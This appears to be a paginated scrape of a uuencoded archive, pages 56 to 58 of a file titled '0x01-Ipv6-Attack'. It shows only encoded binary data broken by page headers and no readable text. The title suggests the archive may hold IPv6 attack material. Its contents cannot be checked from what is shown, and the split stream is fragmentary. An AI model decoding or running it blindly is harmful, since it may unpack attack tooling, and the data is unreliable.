`6CK8N=>R/)GZ:%J`SM+=9YDM3&LP'73TBDDV9;HS[U#``1<Q;D!'GF!.G"^=$H>*_"[OFD0;$YD&5%MWAMH`4MF!4M+=G^\;W.6&/1\5LLT3&4M)@/\!7GQ@B-!IIR>3B_)-(U-?$P5M"<HB=H;HUS9&V\'GU4Z#=[#WZOL5LV96RI95]09CKAS;MJ&#8Y/9R$I5M&CVM3Z+@K^VRFLV&;:C#FX7G0;M:V`2T\TLKK<0K+17*Y<J7UUI=J+6T]>6UUA;[M6L5:_[R#9.=JU=&&0,7U61@!OA)A<'*O!KL1+1<BQ$)'T7DXFP6]G*H9R_F<M*GTM>3`*`5Q0V`-5+94:T/YTACKEHZ+__K1X[E\6SWMP:-J*1ETL%TJ5:A$7MJP2_,48IE/`2&H?7;6_!L/61-+JV"4V#Q5M02K3$JR".&[email protected]@(A;8?=M5^72RR<JLXMT(X#H+)HO3&;S:4`N4M56P^/-6VJVRA6XA@J59JU<;RJXA>B^M;-%=V6HTU&-5K;;@?[@&:+9;I6H.VP,$#ENBRSI3NFPV>KTL^6HYG0U4L]%2MF<$0QEZIUW,*W4/DA7<JDY&I-]%QY!7I5G.IEE>M9%>[@*%7PD6#?ID]]9I@MFA?-S]7X["VUU,A9W=S(44\Q/:U6<NH"U@6NAI4\?5:U2UDA4FG.M8;F>,)L

Page 56: 40490719-0x01-Ipv6-Attack

MT;(S$_C46IQ7+PY%DPIKZEJ-4<W/*"ID:&A+#</6<-E]E@4I$^;,E\BRA0?IMK1V%+!<C=&QU+Z75M8+Z/5.IX6SND?I1O`]4G][CLO5YE$?D6*P7^LC<]LDXM!!U/IET([DVL!9*HQT\D-O$-]&EBDMG3/`9;#)D(T5P,=M[-M3!H1G=P^H7EMZ6XOO<'%%#3E"G_N#_%2GFFN/AKSS".'X2&$`QLU`=UM6*G/QM,+?XHNZ5`#M4.PP_32,P-`<M)K7X@=>.H)@@4MT%75G0Y6_0`6*`E(J!<06"_YP6.B;'K7+MGFT4`8]G74@[73S'?2#QU+@]AS4,]!]`2NC_OQQ6<H>4.$@)7\F5`M1V:S@)MU]DH-)JWAY%HU*%2*=\>0F(KK?V3\9%RZ3I\!`9=K!1JM7H1)[59Q.6J?"8^M8@^VBY'XZ*>;B:B(%6D$&3D,F"V#K@XA&[D0%\W'3#@YL3`#[D.4:%R$0S):M0AFD*"IY8T0E+L(HN,>&U4&/+^[X#3C3^C)[**U%]\7P(G-`M^X.^]?,[W`WM>EGD47A'K,BB)Q1>K0A(E,8$;LQ:36F$*&?T/^/^LTA(K]Y(Y==H9/61+#`LML)$5^[/Z2)(LFU^DD;3I6G'0OT0CR4%[*,G2-F3ZEL0SK#%Y8_#FW&^3\6PLM]M:4R;-JK(QK+%(40`)4-ENES4*EOE7:JM^1`+\>"2!3OU6H;);*FV7*@ANFM19NE!;OE\6+:O\;4+V$0MCQ>`;5L!7S1K"6)56P)9J<S%:ZV`I#[&3E/>RT+MBI<GVC].PU[P5B]/#^ZU<,371NH:59)KM##7>HG*<,TV&EM;Z03R9RQ1N=S4M:]2HK;Y$C=K*2[3:5F[I!7(5%DTOH6L>H$2J%IL']/"];*L2I&P1E&Q5FY\VM#]7_"/-P6U3[OP+1?J"Q/<^8A<4LX'2EJ>I#2?4KU\IUVSWD\>$W%!DB:O,:MQDK)@`;5@5AA8UE%)`X4Z5('2+=(N6%1H&?L8BEFFK3(0E@-PEA],.85K+:-MI-03&)ZT[[`?O'3BTQ+-.`+V3N`/YD-M2>J,D4SQIRS8=H01+Q=DF-;:G%ULM:&\U.9X<CRE%5HS(DP1#V!M;R-K8P:`<ZJ?QM`?;776UG&Z(M`NB\4`J0$OCM*38'1,X94EH^.:6:H?@6MB9TYSVL&&[^<.0-YBAE'4#>\?2JH)Z/+[#2`'/#M#I\3,J.U,-&&0XNZD9Z8C7O^U7?>"W@SY[C%P_'X3`EI@</N!^2,&AU@`_$QMHC38RU,XGE%TS_.>P1TPQ.AQ(=`?T8#-8U`LW!U2E/(1E!]>T3!AA-@3ZH`XM2AA`9V=CX[:'YQ3[)!-6+N&,';*8'B7EK\.W7PUFLTFK6`Q&A0LXX),`SE-AM/#TMXE.1`.'KT&:[N+@HA,&L3UFF_2[^56J-4F%V.<.,U^>LULM5R?G>9)P!M&$,>SGG8G8ZC<7]6@.%!?_+SJ#@,.U-_>E7L=#8K<*5M%OQH<GE_=V=[VWO]M_H:^OX`U/!GW3W`,)[/Y:!0,3SK3,6S>"`I?W]'-+>GG^YM&5'-R0E8G6GQ.M_7Y[[^@XAU%P:P6XC0!B+XL6_SJ\?(MH@+04P3)W!X7NQ!]18W^/!L/Q>=@OM[NWGN72>HB7F*X7Z)DX2O"CRBR*]*$S.O=>7L9XS]C\,W@?#0G=0',S.A\4(M,.\K_I<X:)@(Y>)#CH(ND._4C\ET_"[HSB(IV)F'P]X)6C&=C"]&)S-4.3!UMQ"N9#*9H.H(K&T;1/.!\W]'O=FWK`48QKMV7G4[%;7F)"D>%)_X$UJ^X5<,\M=@=<-BL%%.]VQQ/JZ*!T'NB\SW9.Y$0X/WG-+FT-Z$+Y8CP=]@JS09<'R\7?M#TZT+L2)&,!,>GV/O!C$I@G#)D0#.,L%C.UPWKD:S6&P4`PCZ/9\TGH:1GFMM3$,:RQQWPJTF9;"5>I./+_-R&9'?07CJ_>;N\SD?6I4!ZA7-BCO%7Z8-I)0WMZW7\+F_6R^ZW_ORF7*Y6Z[7->JV\^9M2N5)JU'^CZK],=^*?.3H45.HWZ-_NMNGPWO?\/^HFOO_$FV$6H<%MMX`(W:K5EZU^MP3M9_UJE#/ND7&LT&K]1I=OJMP'6?_^+KGQ:>^<8PSLG`/I\<0SH]%'5*?*!^=S0;4@@@K_B-Y_C`1!00[N#WM<-/T5.<*/;0_W:Q4=BNE6JWQK+'K'2.^2$X/X7L:3B;H,Q30S/-Q+^R'\$!2M!@=)\0Z<ZTCYG?%\MA1)^::X4A3J?N^$@EKU3M!7Z4//"1Z-SO3?0LH-X5%6MCHXBT6+NM:L<BR$6*D91K)A'-!KAICQ6CS`:T>/%N#$V-L-'KA?Z`/^;$!YKMK;5LFR))Q%O:/3R$=OX(A$9O#(,*D#)0,)RPI]R&[YDX$/&&;HQ-<GUHDA4BMDWQ!8)*%N"2?&I4D/M9/"<T!3<?"<;3;.D`X3_^M!.Y8*6R'&[2#8G9TVRL'M[?@8#*,@WM;79/B/LT?;@_N,VU&6Y.:0'CB5SYZ>_&GW<#_S0`X9ID/:T>XQM1MQ.22W%4CT3S)M"+)F2;D%;,E:0HHX#E8_CYQP84\G6GE,4;]WYEZ*/JZSJMP.LS4P64W3M*]E='?,+5Q6`^TZ#['C,@[##QY?$AB\&FW;#F,%\RPP"H@RF&M,]K=?[80?*42"[Z"_2!'UIFR;D-BI>O.2E"96(=+UW;8[V&&Q0[?3F\E!HSNM+,Y"6G_GT3`()IFR'+W%UG9X!Q.S>1S-"F]&TK@3ZOR??4?_DI\X_H<.C6\?M`;P!_RM7RJ4$_E<O0=(=_O<K?(JTYJB,V&JUT#DX(4GLTUI)5$L/^4J(2O74M13@;J,MF`U+#,W_FGYSZ)R,_5.=1/S7F(0;"PT"&W3H',,18@=5-CAO8JW'DM0@Q^F`QVB!$,.V6.5+C)@0P#C$;871[L$`,<8IB^4H/C!C8WJ3A%(/0Y"F$%MLC0Q_&"7(_5A1+]N$[ZK'/BPU.<@@-4M#!9(Q3=[D!5;AR)^GR,6XD!*D*W4ME>K@?06J\;L</[`&S=0X""!&(VPV.`@@1E^L8(###J?7(+U?X<YV:SPO#8QNMB/-5XGB)T*D`8T-"RUL8@K#"<00Q_&!]B^-!ENO<NQ[T=*O)<]7D2(V!!#G$MN(DXP_4Z=[B/`0XK'."Q#E4WX;LBTXL]*P4<7A)C1&(VZ%@%XR36>&IZ91XSM3B&&7:Q`L3(\E[L8W9!P8HQA^!7BMIEO^ME,%N/Q\1,\9,T6>:CZF2S'X_IGMGX/_JA\7_J,?NU^"!?1)_)]*%?D_C5KECO_S:WP6UA]M+</W06,RO#4,X(;[MOU(N;SKW?P/O_UJC?'?__QJ?^_>*\VA*%STNOW=?Z0U0F`R33):#0:DZ*O\!M,NT!9AT@'7L&P'TV!@2?W&-=L9B.V"[!^V"$85F$R/,C%?3[B&J_#Z`">)R3M/>%L@*1"2,X[D`F`LD;/P]J1^=2=/:3?%_X4Y7H1/QV1B27_/M@_VOL#7CM7M:OW%_O?/]E[LPFVS9D8Q')_"K81O7V[_X63G^=Z+I_"^7"I!F9?;>Z]:%&T7MWO]V[^#'QHN]HV-AI]Q;WS[\_D=DBQB"7ZW-A9V"<Z762\)30?F:>@9T)+)3

Page 57: 40490719-0x01-Ipv6-Attack

M-+DO!.IX$HPR6&UN[9&N<2VKR.EX@+>?Z@[&DXQIO?T(_WV,+[#3',O5Z1NEMAJA"^E#QPSMZ$$I69>#Y49L*4L?9'%5E>*V8[.JBLWL@;M2_J=Z8%*"A5&Y=M-_)Z_1U0WR>:`A)BG\KDD5#6D[%#]O4SV@;(UI$BD$?*(-%OZ<+U\+%=@WQ%M4X`7/I3)/EP/\WF'R/LHQ/]Z^.VW#]??P3\\G=+T\7CF#]5S5#0_ZOI`PO5@M4=94`?.7X6N-%Z*+(G&:?48SHGE'CQB6'68OLSX+>[EUA(*HM8Z(RF]/'NIEMV\?=E%M[_%COK#59EM]B%6C*`_G_PAKD^6Y%Y:.2,G7]1=9J&D3H6A#VI"FUM)EO,O/N[.B\V'>WGHK/GL(<X(AC@Z\/=[9WGNT_?RE"E)3M>*4+]5FLF^Y+<MABFSV-"K_6-U4V,?]?Q2<\@3^<]-*O^G_"S<_Z?C\>GP5J__&^__S4HM>?]7M2_6[^__7^"S>_[P!4F[_!1&+A^SN<!JH%S\=M%H_1,%T^S08R8W]_/@8$E^RMKXV'UUSH]]>AD<NK]H:(_LN5S4()_BNWJN5*<P/`BL#\[ZEC:#<0C8<!P:"5MK^D>7%'QR_DCHPSXHJVK8#QA[@.PC@\I_W@47#STX%7^,5IWC.>S3!69@Y3BM8Y;,VLNCO=UBHU!2/X6CWO@BPLOB/F6@`69P?*K]6/%XL\C&Y+AZO8PD<?O=M\1QE)^T2/Z+2UVDP:Z\)&L-WAGE$F&P>>F.DONG1G33$KAC;.@NN+L93O"QIMY#0CS`'7=]&]OZLBATB;H$>4=Z$_*B(UK^@RX\TQGP[;:XZFAFP95-1@?9WOM_MJF2P/;P`OCP6#8#GL/AM/V`XK?QV]EH)0A\MNO:'6HE:G?,3$NVHKF$*8@M8YLG?K"9*?WCVW+IH3"I[V5BM>0?A]%)-*?P.897S5.4S(CV/_/H!"8MP,M0MO7ZVO??BA\/=MYHK_='%:Q`9X.EJJT1%/K1(\E-&:\S"<?XUB66._&E5?FB0M)(L2%&?^&:#2W?$9+`"^C@595VLCU'C%S!N`-*`*W3W9X)IM;M$I^A%?9\(YM'@VJ<(?[4=2>/G[D*T#%^^VUPC??P?)\\UVB5:=@E%XP`X6R7'2]7-0]H1V*MLU/6*;@^DHJ=^#/O)",14.9=5*17;XIOBE3WFZ);L=[NL;H_7M-&=$TCT2>VM$EL*G<7B8?B)HY"\=4^`',EWQWBW6A&'B[2E5Q7'L_0X/P(0D[WP9O1T_]4NM;X!/0L(6[G_29,/4V\,`;KC_&_52.7G_8_:[^_]7^"S>_V8#W'C_WU>'`>KHMJI$?S:Z8ZD>-7G+BWLI>1\43)0:O*H/@DIC%]X\@@:T0`_W"0_JL$QJJ#&`MM/0_'.?P:A%G"`/`WP<L\'6^$R/X,TMK19`BDY49^@[)G^6K(8(OKE`&1!O58M.0GEMUE7(JY0J>&>>AY<`K'YWA_.,::;FH:G@QDZ8WVSD7^SH<YA!ZE.H`:0M;'2I9VH8]&?F!&MH3!0MC0#!B>[$0TD=A#:U_-8ET+A,F[YM;O/\D90;YM/1MPO1\5/=W4;S35U'*_'KW#R4%8<X"-B5S\,/1]O>[+1Z+)&F\2O@?VL7LH3\ZM#1ZKUX](+;SO=X/';V/EG)^[EX`*Z7I@2S5:_9+?S_=+_3Z;.W8!-.2[9`?)M_\5JBA5GRSSZ;]&V*1\T^GT2ZSZT_(/MX^/=5\=[^Z_NQ6HM%TB!9>"_#]@JM%=$3V.(*,-$\;C,4CG6%[8$[^LU&J_5F(U9'I?"E&T8JJA;4T_'HC57(T(90MZ'^/*D;3@7XXA>H:->H>M*$SH>F4BM!E4ZS2&MH=H",_U-XG3?[R)A6=H9&OM5./WR7#`U("0(#[]]0*>_1XYAD=5=IRM<U,O6AN<C<87@')@)!Q2"8H5M\I9MO7$0T1AA%BAF(O2"W?1UT;<>`1[F,0V'XPMF&(:1K%H,DP]QO[DD09E)`G[1M7OL:G1Y`*7NH]`M"1J6(KBZSWBWGUKL5^*O"7PW^ZO#7@+]-^&O"V:+['?<_M7.^D,PYG"2]UCR#0<$A@20D0:@$0TD<+.ZDR4=<?^M.,Y,RJ>^VF<^@(\'S^M7HS-#&0N$V2AE@R=`[\K3G+9)E>=Y(I-KCG)59M<=Y)K-KGA)-=M\J:3W+#)M32=Y\^U#SP#[LH"S,L`SR/-`7QJ4EK670D7R55+R59Q\5<E73<E7=?+5)%\MM)5_-R5>7?/64?'4G7T/R-5+R-9Q\FY)O,R7?II.O*?F:*?EP=WKWM:(5PAG%MF_'K/Y`A&IPDDX`:5V8^H2[[,!RCWMUG5%-QJZE\=C55MYKJ9U=3<ZNI?78UM=;>:^F=7TW"K:7QV-9MN-9N?74W3K:;)U7BHG0C0K^UNA(>0\*CM[A-,^?9;MTG*E_)6VN^+PMF+S5SA_A?-+@6K;75MX7;4%JER@*@6D1*WM+B.\K]D2-2Y1MTR6D2+WM+AEDJ-LB=2Y2-T6D3*/MK@_D:-@R#2[3L&6DT&;;70W(LFD+;7*AM3:>0E&JVW<F'/$U;JLFEFE3J*\1S84W:C7JYCJ*3KT2/4F76OOY#*^W_KU'YM-'?#-9;C2Q"6W59(*-UMU2JW[<W=7:':U7NY8F6:66"X!O+]<4$.A:2VIU'IMJ8LT_[,)N"_\+-#_L^X$,)/1KRC_KV_6%NC_VIW]QZ_S6:3_T2Q`1214G2J]M&U`<P!J`CAJ`=Q_-,M7>?JO%-A*M%BFF$ZV_D,HL@.^#V7@"22_&R!?]/#&_M*\BO"Y?<$?V;/EO1?XC,=)'^'LMK%@`+ES"W/H%A:T8#L>Y4YJ=EXM_U"#(NM#)"$!)F#()@B/4R<?JJ:80JFT]22!`!^2/I3X2X^5EJO7UX<LYP!W]3%!F$]M<H4<K_</=E^]%4;F>,2UQN3`/XD<>'G&A`AX[?7.B_VCW>*SO</=G[9?O%A2M2`M^?Q*&)"KP\>0^&T_/4B8VQQQZ,[^LE+!<)T&O46QQ?@&-!*SW6J4$ZG:*M8H+H$I"<R;-4FT>.Z]EJB$^0I\0"QU.O\_E!,)Q\R`_>JJ_RBFA@3*`W'"'LM0W[V%E]QN#"4V.B8!D+64]YPE.^'P^!#/G0RDS8"7$YN;K*SAYQ4"L?Z(3]QMBF!*0;U$KQ43]#X`C^B;`;V)S?BD=\?GYSZ5)I[#A_S4*<YL"*YD]U*U4*DFM7RF5/$7;Y.-R_1J5HF!#4YDQQC*B[L'[""8IM\XS!*C%"(>46S_GC37EO0%YM`;3LDXN8*`.5;&"I#3P];[@"3.,ZVI&D2Y7X1N;4O))6\!4V8-+/]='=H.&;M=.I&#@:F57O4VMZ(K9_8;TUT[YXZGEXIW@2X0]$+IA\.HX*PIG!#XKNETT$YM))3<@P=*^NB"A-W#P_W#>VK'X0K$]A;K;\>W4%)EB5JA85(C/+\WMJ%WEVG!M;)B%^AF$TLEJEQ^ZH](&3WJ0)+K)O.E]FWU32/DJ.@9H2I<IH.X7]2S=]HR.MLLN/-</EVH1Y0^,WW)O<ANPWEK[`X@5^=T#CH(P9743@!P/"C-FS+@P4:2`]MD%J3578B^=\-74%N]M1VA73$QA>29UVR"U.9WB(UF'Q=YM?8GA1^;/(M,,!Q

Page 58: 40490719-0x01-Ipv6-Attack

MM5\$?887AGL)Y33S4IR8$)O3RB"-!/*CIN#X)M8M/EP/'[5-JP]1T6O)[(4WM3YV8*KI'@MASAWR%/Y(7<<6[!<T[RDVJ=TMT[UC?KDU29J+@\/?ZNT>8E;34MC$U>3)ENQ8VL=W*LZ$K[V9ULW0%G3Z^TJ6_>U69AW`ZF;>[X$NE[4W=L>E/'M$EO\ACU^TR:_=I=_^39/2-KM3C]S=OI9;*>?649`^HR>K3*=RN)AAUHP_%'=M#]"53E_Q?K_3R+O[W'WN/G>?N\_=Y^YS][G[W'WN/G>?N\_=Y^YS][G[W'WN?/G>?N\_=Y^YS][G[W'WN/G>?_RJ?_Q_[.-?1`#`"`````end